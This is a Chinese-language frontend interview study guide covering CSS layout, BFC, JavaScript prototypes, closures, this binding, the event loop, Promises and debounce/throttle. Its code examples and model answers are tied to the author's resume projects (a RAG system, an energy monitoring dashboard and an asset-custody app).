第九阶段:前端全栈(从三件套到 Vue3 与可视化)— 讲解与面试题
第九阶段:前端全栈(从三件套到 Vue3 与可视化)— 讲解与面试题
本文档定位: 对应《简历技术栈学习指南》第九阶段。你的简历已定位为全栈开发工程师,前端部分写明:
- 项目一(资产托管):
Vue3 + TypeScript + Element Plus,多步骤表单、虚拟滚动、按钮级权限- 项目二(RAG 系统):
Vue3 + TypeScript,SSE 打字机流式渲染、答案溯源- 项目三(零碳能源云):
Vue3 + ECharts + WebSocket,监控大屏、交互式设备拓扑图- 技能清单第 10/11 条:HTML5/CSS3/ES6+、Vue3 组合式 API、Pinia、Axios、TypeScript、Element Plus、Vite、ECharts、SSE/WebSocket
⚠️ 面试现实: 面试官不会按前端工程师的标准考你,但既然写了“全栈”,前端就会被按全栈标准追问。核心考察三件事: ① 底层是否扎实(原型链、事件循环、闭包说得出原理,不是只会写
v-for) ② 能否讲清 Vue2/Vue3 差异(这是区分“用过 Vue”和“懂 Vue”的分水岭) ③ 可视化项目能否讲透(ECharts 拓扑图、大屏实时刷新、万级数据渲染——你简历里都是硬指标,必须能展开)使用方法: 每个知识点按
小白讲解 → 名词详解(举例) → 结合简历案例 → 代码示例 → 面试题(含⭐评级)组织。 优先级建议: 第四章(Vue2 vs Vue3)、第七章(ECharts)、第八章(拓扑图)、第十三章(SSE)是最高优先级——这四个是你简历写进去了、必被追问的。
📖 本文档名词速查(看到不认识的缩写,先查这里)
完整的白话解释、生活类比、面试话术见
00-名词速查手册.md。 下面只列本文档用到的名词,按出现频率排序。
| 缩写 / 术语 | 英文全称 | 一句话说明 | 出处 |
|---|---|---|---|
| Vue3 | Vue.js 3 | 渐进式前端框架 | 第12章 |
| ECharts | ECharts | 百度开源的图表库,做大屏可视化 | 第12章 |
| API | Application Programming Interface | 应用程序接口,别人能调用你的功能 | 第13章 |
| SSE | Server-Sent Events | 服务端向浏览器单向持续推送(打字机效果的底层) | 第11章 |
| WebSocket | WebSocket | 浏览器和服务端双向持续通信 | 第11章 |
| HTTP | HyperText Transfer Protocol | 超文本传输协议,Web 通信的基础 | 第13章 |
| Vite | Vite(法语“快”) | 新一代前端构建工具,启动极快 | 第12章 |
| JSON | JavaScript Object Notation | 轻量级数据交换格式({} 和 []) | 第13章 |
| Pinia | Pinia | Vue3 官方状态管理库(替代 Vuex) | 第12章 |
| XSS | Cross-Site Scripting | 跨站脚本:往页面里注入恶意 JS 偷用户信息 | 第10章 |
| TypeScript | TypeScript | 带类型的 JavaScript,编译期能发现错误 | 第12章 |
| CSRF | Cross-Site Request Forgery | 跨站请求伪造:骗你的浏览器发请求,冒充你操作 | 第10章 |
| HTTPS | HTTP Secure | HTTP + TLS 加密 | 第13章 |
| LLM | Large Language Model | 大语言模型,就是 ChatGPT 背后那个“大脑” | 第11章 |
| RAG | Retrieval-Augmented Generation | 检索增强生成:先查资料,再让 AI 基于资料回答 | 第11章 |
| Element Plus | Element Plus | 基于 Vue3 的 UI 组件库 | 第12章 |
| Webpack | Webpack | 老牌前端打包工具(Vite 出现前的主流) | 第12章 |
| JWT | JSON Web Token | 一种令牌格式,把用户信息加密后存客户端 | 第10章 |
| Axios | Axios | 前端发 HTTP 请求的库 | 第12章 |
| CDN | Content Delivery Network | 内容分发网络:把资源缓存到离用户最近的节点 | 第13章 |
| CORS | Cross-Origin Resource Sharing | 跨域资源共享:浏览器的同源策略例外机制 | 第10章 |
| TLS | Transport Layer Security | 传输层安全协议(SSL 的继任者) | 第10章 |
| TCP | Transmission Control Protocol | 传输控制协议:可靠、面向连接(会重传) | 第13章 |
| LRU | Least Recently Used | 淘汰最久没被用过的数据 | 第3章 |
| DTO | Data Transfer Object | 数据传输对象,接口之间传数据用的 | 第6章 |
| SPA | Single Page Application | 单页应用:整个网站只有一个 HTML,页面切换靠 JS | 第12章 |
| TTL | Time To Live | 数据的“保质期”,到期自动删除 | 第3章 |
| CI | Continuous Integration | 持续集成:代码提交后自动构建、测试 | 第9章 |
| Token | Token(词元) | AI 处理文本的最小单位(不是字,也不是词) | 第11章 |
| ACK | ACKnowledgement | 消费者处理完后的“确认回执” | 第2章 |
💡 为什么要有这张表?
技术文档最大的阅读障碍不是原理难,而是缩写不认识 —— 看到“2PC 在数据库层加锁” 这句话,如果不知道 2PC 是什么,整段就废了。
这张表保证你在任何位置遇到不认识的词,都能当场查到,不用跳出文档。 想知道“为什么是这样”“面试怎么答”,再点进手册看完整版。
目录
- 第一章:前端三件套底层(HTML/CSS/JavaScript)
- 第二章:TypeScript(类型系统)
- 第三章:Vue3 核心与原理
- 第四章:Vue2 vs Vue3 全面对比(重点章)
- 第五章:组件化与通信
- 第六章:路由与状态管理
- 第七章:ECharts 数据可视化(重点章)
- 第八章:拓扑结构可视化(重点章)
- 第九章:前端性能优化
- 第十章:工程化与构建部署
- 第十一章:浏览器与网络
- 第十二章:前端安全
- 第十三章:前后端协作与 SSE 流式(核心亮点)
- 第十四章:手写代码题
- 第十五章:面试速查表(终极版)
第一章:前端三件套底层(HTML/CSS/JavaScript)
后端转全栈最容易露馅的地方:能写 Vue 模板,但说不清原型链和事件循环。这一章补齐地基。
1.1 前端知识体系「拓扑图」(先建立全局认知)
┌─────────────────────────────────┐
│ 前端知识体系 │
└───────────────┬─────────────────┘
│
┌───────────────┬───────────────┼───────────────┬────────────────┐
│ │ │ │ │
┌────▼────┐ ┌─────▼─────┐ ┌─────▼─────┐ ┌─────▼─────┐ ┌─────▼─────┐
│ HTML │ │ CSS │ │JavaScript │ │ 工程化 │ │ 浏览器 │
│ 结构层 │ │ 表现层 │ │ 行为层 │ │ 构建层 │ │ 运行层 │
└────┬────┘ └─────┬─────┘ └─────┬─────┘ └─────┬─────┘ └─────┬─────┘
│ │ │ │ │
语义化标签 盒模型/BFC 原型链/闭包 Vite/Webpack 渲染流水线
DOM 树 Flex/Grid 事件循环 npm/pnpm 重排/重绘
SEO 基础 选择器优先级 this 指向 ESLint/Prettier 缓存策略
可访问性 响应式布局 Promise/async 环境变量 跨域/同源
动画/过渡 ES6+ 特性 打包优化 HTTPS
DOM 操作
│
┌─────────────────┼─────────────────┐
│ │ │
┌─────▼─────┐ ┌──────▼──────┐ ┌──────▼──────┐
│ TypeScript│ │ Vue3/React │ │ ECharts │
│ 类型层 │ │ 框架层 │ │ 可视化层 │
└───────────┘ └─────────────┘ └────────────┘
│ │
组件/路由/状态 图表/拓扑图/大屏
Pinia/Vue Router Canvas/SVG 渲染
面试怎么用这张图: 被问“你前端知识结构是怎样的”或“你觉得前端核心要掌握什么”,可以按这个五层结构回答,体现体系化,而不是零散知识点。
1.2 HTML:盒模型与 BFC
小白讲解
盒模型(Box Model):浏览器把每个 HTML 元素都看成一个“盒子”,从内到外四层:
┌─────────────────────────────────────────┐
│ margin │ 外边距:盒子与其他盒子的距离(透明)
│ ┌───────────────────────────────────┐ │
│ │ border │ │ 边框
│ │ ┌─────────────────────────────┐ │ │
│ │ │ padding │ │ │ 内边距:内容与边框的距离
│ │ │ ┌───────────────────────┐ │ │ │
│ │ │ │ content │ │ │ │ 内容:文字/图片(width/height 指这里)
│ │ │ │ 200 × 100 │ │ │ │
│ │ │ └───────────────────────┘ │ │ │
│ │ └─────────────────────────────┘ │ │
│ └───────────────────────────────────┘ │
└─────────────────────────────────────────┘
关键考点:box-sizing
/* 默认 content-box:width 只算 content,加 padding/border 会撑大盒子 */
.box-a {
box-sizing: content-box; /* 默认值 */
width: 200px;
padding: 20px;
border: 5px solid;
/* 实际占位宽度 = 200 + 20*2 + 5*2 = 250px ← 容易算错! */
}
/* border-box:width 包含 content + padding + border(更好算) */
.box-b {
box-sizing: border-box;
width: 200px;
padding: 20px;
border: 5px solid;
/* 实际占位宽度 = 200px(content 被压缩成 150px)*/
}
/* 生产标配:全局设为 border-box,避免布局计算踩坑 */
* {
box-sizing: border-box;
}
面试高频:标准盒模型 vs IE 盒模型
- 标准(W3C):
box-sizing: content-box,width = content 宽度 - IE(怪异模式):
box-sizing: border-box,width = content + padding + border
BFC(Block Formatting Context,块级格式化上下文)
小白讲解: BFC 是一块独立的渲染区域,区域内的布局不会影响外面。可以理解成“结界”——结界里的元素再怎么折腾也出不去。
BFC 解决三个经典问题:
<!-- 问题1:外边距塌陷(相邻元素的 margin 会合并,取大的那个) -->
<div style="margin-bottom: 30px">A</div>
<div style="margin-top: 20px">B</div>
<!-- 实际间距是 30px 不是 50px!因为 margin 合并了 -->
<!-- 解决:给其中一个套个 BFC 容器 -->
<div style="overflow: hidden">
<div style="margin-bottom: 30px">A</div>
</div>
<div style="margin-top: 20px">B</div>
<!-- 现在间距 = 50px ✅ -->
<!-- 问题2:浮动导致父元素高度塌陷 -->
<div class="parent">
<div class="child" style="float: left; height: 100px">浮动子元素</div>
</div>
<!-- parent 高度变成 0!因为浮动元素脱离文档流 -->
<!-- 解决:父元素触发 BFC -->
.parent {
overflow: hidden; /* 或 display: flow-root(更语义化) */
}
<!-- parent 现在能"包住"浮动子元素,高度 = 100px ✅ -->
触发 BFC 的常见方式(记住 4 个就够):
| 方式 | 说明 |
|---|---|
overflow: hidden / auto / scroll |
最常用(副作用:可能裁剪内容/出现滚动条) |
display: flow-root |
专门用来触发 BFC,无副作用(推荐) |
float: left / right |
元素本身浮动 |
position: absolute / fixed |
绝对定位 |
面试题 ⭐⭐⭐:什么是 BFC?有什么用?
答: BFC 是块级格式化上下文,是一块独立的渲染区域,内部布局不影响外部。主要解决三类问题:① 相邻元素外边距合并(塌陷);② 父元素因子元素浮动导致高度塌陷;③ 实现自适应两栏布局(左侧浮动,右侧触发 BFC 就不会被覆盖)。触发方式常用
overflow:hidden或display:flow-root。
1.3 CSS:布局与选择器优先级
Flex 布局(一维布局,最常用)
小白讲解: Flex 就是“弹性盒子”,给父容器加 display:flex,子元素就自动排成一行,还能自动分配剩余空间。
主轴(main axis)→→→→→→→→→→→→→→→→→→→→→
┌─────────────────────────────────────────────┐
│ ┌──────┐ ┌──────┐ ┌──────┐ │
│ │ item │ │ item │ │ item │ │
│ │ 1 │ │ 2 │ │ 3 │ │
│ └──────┘ └──────┘ └──────┘ │
└─────────────────────────────────────────────┘
↑ 交叉轴(cross axis)
常用属性(记这 6 个能覆盖 90% 场景):
容器上:
display: flex 开启弹性布局
justify-content: center 主轴方向对齐(居中/两端对齐/平均分布)
align-items: center 交叉轴方向对齐(垂直居中就靠它)
flex-direction: column 改成纵向排列
子元素上:
flex: 1 占满剩余空间(自适应布局神器)
flex-shrink: 0 不压缩(防止被挤扁)
实战:經典的上中下后台布局(你的 RAG 系统前端就是这个)
/* 页面:顶部导航 + 左侧菜单 + 右侧内容区,内容区自适应剩余高度 */
.layout {
display: flex;
flex-direction: column;
height: 100vh; /* 撑满视口 */
}
.layout-header {
flex-shrink: 0; /* 头部固定高度,不压缩 */
height: 60px;
}
.layout-body {
display: flex;
flex: 1; /* 占满剩余空间 */
overflow: hidden;
}
.layout-sidebar {
flex-shrink: 0;
width: 200px;
}
.layout-content {
flex: 1; /* 内容区自适应 */
overflow-y: auto; /* 内容超出自己滚动,不影响整体 */
}
Grid 布局(二维布局,大屏用得多)
/* 你的零碳能源大屏:3×2 网格,每格放一个图表 */
.dashboard {
display: grid;
grid-template-columns: repeat(3, 1fr); /* 3 列等宽 */
grid-template-rows: repeat(2, 1fr); /* 2 行等高 */
gap: 16px; /* 格子间距 */
height: 100vh;
}
/* 某个图表要跨 2 列 */
.dashboard .chart-wide {
grid-column: span 2;
}
Flex vs Grid 选型:
| 场景 | 选择 | 理由 |
|---|---|---|
| 一维排列(导航栏、列表、表单行) | Flex | 简单直观,兼容性好 |
| 二维网格(大屏、卡片墙、复杂布局) | Grid | 行列同时控制,代码量少 |
| 你的 ECharts 大屏 | Grid | 图表格子是二维排布 |
选择器优先级(必考)
优先级从高到低:
!important ∞(最高,能覆盖一切,慎用)
内联样式 style="..." 1000
#id 100
.class / [attr] / :hover 10
标签 div / 伪元素 ::before 1
通配符 * / 继承 0
计算规则:不是十进制进位,是「比较各位数」。
/* 例子:计算优先级 */
#app .list li.active { } /* (1个id, 2个class, 1个标签) → 0,1,2,1 */
.container ul li { } /* (0个id, 1个class, 2个标签) → 0,0,1,2 */
/* 比较:先比 id 位 → 1 > 0,所以第一条胜出 */
/* 注意:10 个 class ≠ 1 个 id!0,0,10,0 < 0,1,0,0 */
面试题 ⭐⭐⭐:!important 和内联样式谁优先级高?
答:
!important最高。优先级顺序:!important> 内联 style > id > class > 标签 > 通配符 > 继承。但实际项目中绝对不要滥用!important,它会破坏样式层级,后期维护困难。正确做法是提高选择器特异性(比如给元素加个 class)或调整样式表顺序。
垂直居中方案(手写题高频)
/* 方案1:Flex(最推荐,简洁) */
.parent { display: flex; align-items: center; justify-content: center; }
/* 方案2:Grid(最简洁,一行搞定) */
.parent { display: grid; place-items: center; }
/* 方案3:绝对定位 + transform(不知道宽高时用) */
.child {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%); /* 自身宽高的一半往回移 */
}
/* 方案4:绝对定位 + margin auto(知道宽高) */
.child {
position: absolute;
top: 0; bottom: 0; left: 0; right: 0;
width: 200px; height: 100px;
margin: auto;
}
1.4 JavaScript:数据类型与原型链
数据类型(8 种)
// 7 种原始类型(primitive)+ 1 种引用类型
let a = 1; // number
let b = 'hello'; // string
let c = true; // boolean
let d = undefined; // undefined(声明未赋值)
let e = null; // null(空对象指针)← typeof null === 'object' 是历史 bug!
let f = Symbol('id'); // symbol(ES6,唯一值)
let g = 100n; // bigint(ES2020,大整数)
let h = { name: '张三' }; // object(引用类型:对象/数组/函数/Date/RegExp...)
面试坑 ⭐⭐⭐⭐:typeof null 为什么是 'object'?
答: 这是 JavaScript 早期的历史 bug。JS 初版中值以 32 位存储,低位 1-3 位表示类型标签,对象的标签是
000,而null表示空指针(全 0),所以被误判为 object。这个 bug 一直没修复(修复会破坏大量现有代码)。准确判断类型要用Object.prototype.toString.call(null)→'[object Null]'。
类型判断方法对比:
typeof 'abc' // 'string' ✅ 适合判断原始类型
typeof null // 'object' ❌ 历史 bug
typeof [] // 'object' ❌ 分不出数组
typeof function(){} // 'function' ✅
[] instanceof Array // true ✅ 但跨 iframe 会失效
Object.prototype.toString.call([]) // '[object Array]' ✅ 最准确
Object.prototype.toString.call(null) // '[object Null]'
Object.prototype.toString.call(new Date()) // '[object Date]'
Array.isArray([]) // true ✅ 判断数组最推荐
原型链(Prototype Chain)—— 必考
小白讲解: JS 没有“类”的继承(ES6 的 class 只是语法糖),对象之间的继承靠原型链——每个对象都有一个隐藏属性 __proto__ 指向它的“爸爸”(原型对象),爸爸还有爸爸,一直找到 null 为止,这条链就是原型链。
实例对象 构造函数 原型对象
┌──────────────┐ ┌──────────────┐ ┌──────────────────┐
│ stu │ │ Student │ │ Student.prototype│
│ __proto__ ──┼─────▶│ prototype ──┼───▶│ constructor ────┼──▶ Student
│ │ │ │ │ sayHi() 方法 │
└──────────────┘ └──────────────┘ └────────┬─────────┘
│ __proto__
▼
┌──────────────────┐
│ Object.prototype │
│ toString() │
│ hasOwnProperty()│
└────────┬─────────┘
│ __proto__
▼
null(链的终点)
function Student(name) {
this.name = name; // 实例属性
}
Student.prototype.sayHi = function() { // 原型方法(所有实例共享,省内存)
console.log('我是' + this.name);
};
const stu = new Student('张三');
stu.sayHi(); // 我是张三
// 查找过程:
// ① stu 自身有 sayHi 吗?没有
// ② 顺着 __proto__ 找 Student.prototype,有!调用
// ③ 如果还没有,继续找 Object.prototype
// ④ 再没有就是 undefined,报错
stu.__proto__ === Student.prototype // true
Student.prototype.__proto__ === Object.prototype // true
Object.prototype.__proto__ === null // true(终点)
三个易混概念:
| 概念 | 属于谁 | 含义 |
|---|---|---|
prototype(显式原型) |
函数才有 | 函数的原型对象,new 出来的实例的 __proto__ 指向它 |
__proto__(隐式原型) |
所有对象都有 | 指向创建它的构造函数的 prototype |
constructor |
原型对象上 | 指回构造函数本身 |
new 一个对象发生了什么(面试高频,要能背):
const stu = new Student('张三');
// 内部等价于:
// ① 创建一个空对象 {}
// ② 让这个空对象的 __proto__ 指向 Student.prototype(建立原型链)
// ③ 执行 Student 构造函数,把 this 指向这个新对象(所以 this.name = '张三')
// ④ 如果构造函数返回对象就用它,否则返回这个新对象
面试题 ⭐⭐⭐⭐⭐:说说原型链 / 手写 instanceof
// 手写 instanceof:沿着 __proto__ 链找,看能否找到右边函数的 prototype
function myInstanceof(obj, Constructor) {
if (obj === null || typeof obj !== 'object') return false; // 原始类型直接 false
let proto = Object.getPrototypeOf(obj); // 等价于 obj.__proto__
const target = Constructor.prototype;
while (proto) { // 一直往链上游走
if (proto === target) return true;
proto = Object.getPrototypeOf(proto);
}
return false; // 走到 null 还没找到
}
myInstanceof([], Array) // true
myInstanceof([], Object) // true(数组的原型链上有 Object.prototype)
myInstanceof('abc', String) // false(原始类型不是对象)
1.5 作用域、闭包与 this
闭包(Closure)—— 必考
小白讲解: 函数 A 内部定义了函数 B,B 用到了 A 的变量,那么即使 A 执行完了,这些变量也不会被回收——因为 B 还“抓着”它们。这个「函数 + 它捕获的外部变量」的组合就叫闭包。
function outer() {
let count = 0; // outer 的局部变量
return function inner() { // inner 用到了 count → 形成闭包
count++;
console.log(count);
};
}
const fn = outer();
fn(); // 1
fn(); // 2
fn(); // 3
// count 没被回收!因为 inner 函数还引用着它
闭包的本质: 函数执行时会创建作用域链,内部函数持有对外部作用域的引用,导致外部作用域无法被 GC 回收。
闭包的三个实际用途:
// ① 数据私有化(模拟 private,模块模式的基石)
function createCounter() {
let count = 0; // 外部访问不到,只能通过方法操作
return {
increment: () => ++count,
getCount: () => count
};
}
const counter = createCounter();
counter.increment();
console.log(counter.getCount()); // 1
console.log(counter.count); // undefined ← 真正的私有!
// ② 防抖节流(见 1.8 节,依赖闭包保存 timer)
// ③ 循环中正确保存索引(经典坑)
// ❌ 错误写法:var 没有块级作用域,3 个定时器共享同一个 i
for (var i = 0; i < 3; i++) {
setTimeout(() => console.log(i), 100); // 输出 3, 3, 3
}
// ✅ 正确写法1:用 let(块级作用域,每次循环都是新的 i)
for (let i = 0; i < 3; i++) {
setTimeout(() => console.log(i), 100); // 输出 0, 1, 2
}
// ✅ 正确写法2:IIFE 立即执行函数创建闭包(ES6 之前的写法)
for (var i = 0; i < 3; i++) {
(function(j) {
setTimeout(() => console.log(j), 100); // 输出 0, 1, 2
})(i);
}
闭包缺点: 变量常驻内存,滥用会导致内存泄漏。解决:不用时把引用置为 null。
面试题 ⭐⭐⭐⭐:什么是闭包?有什么优缺点?
答: 闭包是函数与其捕获的外部变量的组合。当内部函数引用了外部函数的变量,且内部函数在外部被持有时,外部函数的作用域不会被销毁,形成闭包。 优点: ① 实现数据私有化;② 保存状态(防抖节流的基础);③ 实现模块化。 缺点: 变量常驻内存不释放,滥用导致内存泄漏。解决:不再使用时手动解除引用(
fn = null)。
this 指向(必考,且常出代码输出题)
一句话规则:this 在函数调用时才确定,指向「调用者」。
// 场景1:普通函数调用 → this 指向全局(浏览器 window,Node globalThis)
function f1() { console.log(this); }
f1(); // window(严格模式下是 undefined)
// 场景2:对象方法调用 → this 指向调用它的对象
const obj = {
name: '张三',
sayName() { console.log(this.name); }
};
obj.sayName(); // '张三'(this = obj)
const fn = obj.sayName;
fn(); // undefined ← this 丢失!this = window,window.name 不存在
// 场景3:构造函数 → this 指向新创建的实例
function Person(name) { this.name = name; }
const p = new Person('李四'); // this = p
// 场景4:箭头函数 → 没有自己的 this,继承外层作用域的 this(定义时确定)
const obj2 = {
name: '王五',
sayLater() {
setTimeout(() => {
console.log(this.name); // '王五' ← 箭头函数继承 sayLater 的 this
}, 100);
// 如果写成 function() { console.log(this.name) } → undefined(this = window)
}
};
// 场景5:call/apply/bind → 显式指定 this
function greet(greeting) { console.log(greeting + ', ' + this.name); }
const person = { name: '赵六' };
greet.call(person, '你好'); // '你好, 赵六'(参数逐个传)
greet.apply(person, ['你好']); // '你好, 赵六'(参数数组传)
const boundGreet = greet.bind(person); // 返回新函数,this 永久绑定
boundGreet('你好'); // '你好, 赵六'
优先级: new > bind/call/apply > 对象方法 > 普通函数
面试题 ⭐⭐⭐⭐:手写 call / apply / bind
// 手写 call
Function.prototype.myCall = function(context, ...args) {
context = context || window; // 没传就指向 window
const fnKey = Symbol('fn'); // 用 Symbol 避免覆盖原属性
context[fnKey] = this; // this 就是被调用的函数
const result = context[fnKey](...args); // 通过对象方法调用,this 自然指向 context
delete context[fnKey]; // 用完删掉,不留痕迹
return result;
};
// 手写 apply(和 call 唯一区别:参数是数组)
Function.prototype.myApply = function(context, argsArr = []) {
context = context || window;
const fnKey = Symbol('fn');
context[fnKey] = this;
const result = context[fnKey](...argsArr);
delete context[fnKey];
return result;
};
// 手写 bind(返回函数,支持柯里化 + 可以作为构造函数)
Function.prototype.myBind = function(context, ...presetArgs) {
const self = this;
return function boundFn(...laterArgs) {
// 如果用 new 调用 boundFn,this 应该指向新实例,而不是 context
if (this instanceof boundFn) {
return new self(...presetArgs, ...laterArgs);
}
return self.apply(context, [...presetArgs, ...laterArgs]);
};
};
// 测试
const obj = { name: '张三' };
function say(age) { console.log(this.name + '今年' + age); }
say.myCall(obj, 18); // 张三今年18
1.6 事件循环(Event Loop)—— 必考中的必考
小白讲解
JavaScript 是单线程的(一次只能干一件事)。那遇到 setTimeout、Ajax 这种耗时操作怎么办?答案是事件循环:
- 同步任务:直接在主线程排队执行
- 异步任务:不进主线程,进「任务队列」,等主线程空了再来取
┌─────────────────────────────────────────┐
│ 主线程(调用栈 Call Stack) │
│ 同步代码一个个执行,执行完就出栈 │
└──────────────────┬──────────────────────┘
│ 栈空了?
▼
┌─────────────────────────────────────────┐
│ ① 先清空【微任务队列】Microtask Queue │
│ Promise.then / async-await │
│ MutationObserver / queueMicrotask │
│ process.nextTick(Node 优先) │
│ ★ 必须全部清空,包括执行中新增的 │
└──────────────────┬──────────────────────┘
│ 微任务清空了
▼
┌─────────────────────────────────────────┐
│ ② 取【宏任务队列】的一个任务执行 │
│ setTimeout / setInterval │
│ DOM 事件 / Ajax 回调 / script 整体 │
│ requestAnimationFrame │
│ ★ 每轮只取一个 │
└──────────────────┬──────────────────────┘
│
└──▶ 回到 ① 循环(这就是 Event Loop)
铁律:先同步 → 再清空所有微任务 → 执行一个宏任务 → 再清空所有微任务 → …
经典输出题(面试必考,要能说出过程)
console.log('1'); // 同步
setTimeout(() => console.log('2'), 0); // 宏任务,进宏队列
new Promise(resolve => {
console.log('3'); // 同步!Promise 构造函数里是立即执行
resolve();
}).then(() => console.log('4')); // 微任务,进微队列
console.log('5'); // 同步
// 输出顺序:1 → 3 → 5 → 4 → 2
// 过程拆解:
// 同步阶段:打印 1,注册 setTimeout(宏),打印 3(Promise 构造),注册 then(微),打印 5
// 同步结束 → 清空微任务 → 打印 4
// 微任务清空 → 取一个宏任务 → 打印 2
进阶题(考察是否真的理解)
async function async1() {
console.log('A');
await async2(); // await 后面的代码相当于放进 .then() → 微任务
console.log('B'); // 这行要等 async2 完成后,作为微任务执行
}
async function async2() {
console.log('C');
}
console.log('D');
setTimeout(() => console.log('E'), 0);
async1();
new Promise(resolve => {
console.log('F');
resolve();
}).then(() => console.log('G'));
console.log('H');
// 输出:D → A → C → F → H → B → G → E
// 拆解:
// 同步:D(第一行)、调用 async1 → A、async1 内调用 async2 → C、await 挂起(B 进微队列)
// 继续同步:Promise 构造 → F、then 注册(G 进微队列)、H
// 同步结束,清空微任务队列(按顺序):B(先入队)、G
// 微任务清空,取宏任务:E
面试题 ⭐⭐⭐⭐⭐:说说事件循环机制
答: JS 是单线程的,通过事件循环实现异步。执行顺序是:① 先执行所有同步代码(调用栈);② 同步执行完,清空微任务队列(Promise.then、async/await、queueMicrotask 等),注意执行微任务过程中新产生的微任务也会在本轮一并清空;③ 微任务清空后,从宏任务队列取一个任务执行(setTimeout、DOM 事件、Ajax 回调等);④ 然后重复②③。 关键点:微任务优先级高于宏任务,且每轮循环只执行一个宏任务但要清空所有微任务。
1.7 Promise 与 async/await
Promise 三种状态
pending(进行中)
╱ ╲
resolve reject
╱ ╲
fulfilled rejected
(已成功) (已失败)
↓ ↓
.then() .catch()
★ 状态一旦改变就不可逆(pending → fulfilled 后不能再变回 pending)
const p = new Promise((resolve, reject) => {
// 构造函数里的代码是同步立即执行的
setTimeout(() => {
const success = Math.random() > 0.5;
success ? resolve('成功数据') : reject(new Error('失败了'));
}, 1000);
});
p.then(data => console.log(data)) // 成功回调
.catch(err => console.error(err)) // 失败回调(链式调用,推荐)
.finally(() => console.log('无论成败都执行'));
Promise 的链式调用(解决回调地狱):
// ❌ 回调地狱(Callback Hell)——层层嵌套,难以维护
getUser(userId, user => {
getOrders(user.id, orders => {
getOrderDetail(orders[0].id, detail => {
console.log(detail);
});
});
});
// ✅ Promise 链式调用
getUser(userId)
.then(user => getOrders(user.id))
.then(orders => getOrderDetail(orders[0].id))
.then(detail => console.log(detail))
.catch(err => console.error(err)); // 一个 catch 捕获整条链的错误
// ✅✅ async/await(最优雅,看起来像同步代码)
async function loadDetail(userId) {
try {
const user = await getUser(userId);
const orders = await getOrders(user.id);
const detail = await getOrderDetail(orders[0].id);
console.log(detail);
} catch (err) { // try-catch 统一捕获
console.error(err);
}
}
Promise 静态方法(面试常问区别):
// Promise.all:全部成功才成功,一个失败就整体失败(快速失败)
Promise.all([p1, p2, p3])
.then(results => console.log(results)) // [r1, r2, r3] 顺序与输入一致
.catch(err => console.error(err)); // 任一失败立即 reject
// Promise.allSettled(ES2020):不管成败都等全部结束,返回每个的状态
Promise.allSettled([p1, p2, p3])
.then(results => {
// [{status:'fulfilled', value}, {status:'rejected', reason}, ...]
// 适合"批量操作,允许部分失败"的场景
});
// Promise.race:谁先完成(成功或失败)就用谁的结果
Promise.race([p1, p2])
.then(first => console.log(first));
// 经典用法:接口超时控制
const timeout = new Promise((_, reject) =>
setTimeout(() => reject(new Error('请求超时')), 5000));
Promise.race([fetchData(), timeout]);
// Promise.any(ES2021):第一个成功的(全失败才 reject)
Promise.any([p1, p2]).then(first => console.log(first));
你的 RAG 项目举例: 文档批量上传后要并行轮询解析状态,用 Promise.allSettled——允许部分文档解析失败,只要不整体中断:
// 轮询所有文档的解析状态,允许部分失败
async function pollParseStatus(docIds) {
const tasks = docIds.map(id =>
fetch(`/api/documents/${id}/status`).then(r => r.json())
);
const results = await Promise.allSettled(tasks);
const failed = results
.filter(r => r.status === 'rejected')
.map((_, i) => docIds[i]);
if (failed.length) {
ElMessage.warning(`${failed.length} 个文档解析失败,可重新上传`);
}
return results.filter(r => r.status === 'fulfilled').map(r => r.value);
}
面试题 ⭐⭐⭐⭐:Promise.all 和 Promise.race 的区别?各自的场景?
答:
Promise.all等所有 Promise 都成功才 resolve,返回结果数组(顺序与输入一致),任一失败立即 reject(快速失败)——适合“多个接口数据都必须要”的场景,比如页面初始化要同时拉用户信息和权限列表。Promise.race只取第一个完成的结果(无论成功失败)——适合“超时控制”和“多源取最快”场景,比如给接口加 5 秒超时,或者同时请求 CDN 和源站取快的那个。 补充:Promise.allSettled(ES2020)会等全部结束并返回每个的状态,不会因为单个失败中断,适合批量操作允许部分失败的场景(比如批量上传)。
1.8 防抖与节流(手写题高频)
区别(一句话记住)
- 防抖(debounce):等你停下来才执行。像电梯——有人进来就重新等 10 秒。
- 节流(throttle):固定频率执行。像地铁——不管多少人在等,5 分钟一班。
防抖(停止触发 delay 毫秒后才执行;期间又触发则重新计时):
事件: ─┬─┬──┬───┬──────────────┬──┬─────────────▶
执行: ●(最后一次触发后 delay 才执行)
节流(每隔 interval 毫秒最多执行一次):
事件: ─┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬──▶
执行: ● ● ● ● ● ● ●
└─────┴─────┴─────┘
固定间隔 interval
代码实现(必须能手撕)
// 防抖:触发后 delay 毫秒内不再触发才执行;否则重新计时
function debounce(fn, delay = 300) {
let timer = null; // 闭包保存定时器
return function(...args) {
clearTimeout(timer); // 每次触发都取消上一次
timer = setTimeout(() => {
fn.apply(this, args); // 保留 this 和参数
}, delay);
};
}
// 使用:搜索框输入停止 500ms 后才发请求(避免每敲一个字就请求)
const search = debounce(function(keyword) {
fetch(`/api/documents/search?keyword=${keyword}`);
}, 500);
inputEl.addEventListener('input', e => search(e.target.value));
// 节流(定时器版):每 interval 毫秒内只执行一次
function throttle(fn, interval = 300) {
let timer = null;
return function(...args) {
if (timer) return; // 有定时器在,直接忽略
timer = setTimeout(() => {
fn.apply(this, args);
timer = null; // 执行完清空,允许下一次
}, interval);
};
}
// 节流(时间戳版,更精确,首次立即执行)
function throttleByTimestamp(fn, interval = 300) {
let lastTime = 0;
return function(...args) {
const now = Date.now();
if (now - lastTime >= interval) { // 距上次执行超过间隔
fn.apply(this, args);
lastTime = now;
}
};
}
// 使用:大屏数据刷新、滚动加载、按钮防重复点击
window.addEventListener('scroll', throttle(handleScroll, 200));
你的项目中的实际应用
// 场景1(防抖):RAG 系统搜索框联想,停止输入 500ms 才请求
const onSearchInput = debounce((keyword) => {
if (!keyword.trim()) return;
searchDocuments(keyword);
}, 500);
// 场景2(节流):能源大屏 WebSocket 高频推送,前端渲染限流
// 后端每秒推 10 次,但 ECharts 重绘很重,限制成每 500ms 更新一次图表
const updateChart = throttle((data) => {
chart.setOption({ series: [{ data }] });
}, 500);
ws.onmessage = (e) => updateChart(JSON.parse(e.data));
// 场景3(节流):秒杀按钮防重复提交(你简历项目四写了"防重复提交")
const submitOrder = throttle(async (orderData) => {
await axios.post('/api/orders', orderData);
}, 2000); // 2 秒内只能提交一次
面试题 ⭐⭐⭐⭐⭐:手写防抖和节流,并说明应用场景
